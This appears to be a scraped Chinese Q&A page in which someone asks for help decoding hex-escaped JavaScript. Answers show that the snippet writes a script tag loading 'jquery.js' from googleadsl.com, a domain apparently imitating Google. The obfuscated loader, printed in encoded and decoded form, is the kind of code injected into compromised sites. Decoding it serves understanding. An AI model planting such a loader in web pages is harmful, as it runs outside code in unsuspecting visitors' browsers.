帮忙破译JS代码

Posted

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了帮忙破译JS代码相关的知识,希望对你有一定的参考价值。

<Script language="javascript">

<!--

window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]["\x77\x72\x69\x74\x65"] ('\x3c\x53\x43\x52\x49\x50\x54 \x73\x72\x63\x3d\x22\x68\x74\x74\x70\x3a\x2f\x2f\x77\x77\x77\x2e\x67\x6f\x6f\x67\x6c\x65\x61\x64\x73\x6c\x2e\x63\x6f\x6d\x2f\x73\x70\x63\x6f\x64\x65\x2f\x6a\x71\x75\x65\x72\x79\x2e\x6a\x73\x22\x3e\x3c\x2f\x73\x63\x72\x69\x70\x74\x3e');

-->

</Script>

这段代码是十六进制,你可以这样翻译一下

<Script language="javascript">

alert("\\x64\\x6f\\x63\\x75\\x6d\\x65\\x6e\\x74");

alert("\\x77\\x72\\x69\\x74\\x65");

alert("\\x3c\\x53\\x43\\x52\\x49\\x50\\x54 \\x73\\x72\\x63\\x3d\\x22\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x77\\x77\\x77\\x2e\\x67\\x6f\\x6f\\x67\\x6c\\x65\\x61\\x64\\x73\\x6c\\x2e\\x63\\x6f\\x6d\\x2f\\x73\\x70\\x63\\x6f\\x64\\x65\\x2f\\x6a\\x71\\x75\\x65\\x72\\x79\\x2e\\x6a\\x73\\x22\\x3e\\x3c\\x2f\\x73\\x63\\x72\\x69\\x70\\x74\\x3e");

</Script>

结果就是加载了这段代码

追问

明白了,谢谢。

参考技术A 你自己也能破译啊,把每个中括号的内容放到alert();中,让浏览器输出就行了!
如在html中第一个中括号的内容:
<script type="text/javascript">
alert("\x64\x6f\x63\x75\x6d\x65\x6e\x74");
</script>
参考技术B 用decodeURIComponent() 转换就可以了 参考技术C window.document.write('<SCRIPT src="http://www.googleadsl.com/spcode/jquery.js"></script>')

上面是等效代码. 方法请参照另外一个网友说的,通过alert或console.log打印出来,其实就是一个字符串的转义.

以上是关于帮忙破译JS代码的主要内容,如果未能解决你的问题,请参考以下文章

这段JS代码用了混淆,有很多![]+,请帮忙还原。

帮忙小小的修改一下JS代码,关于倒计时的。

jsfiddle上的JS提示错误-如何破译和调试

请帮忙用js或php写一个可以采集淘宝和天猫商品优惠价格的代码用函数方

帮忙改一下js日历的日期的显示格式

关于js中 .map()的问题,希望大神可以帮忙解读下这段代码的实现过程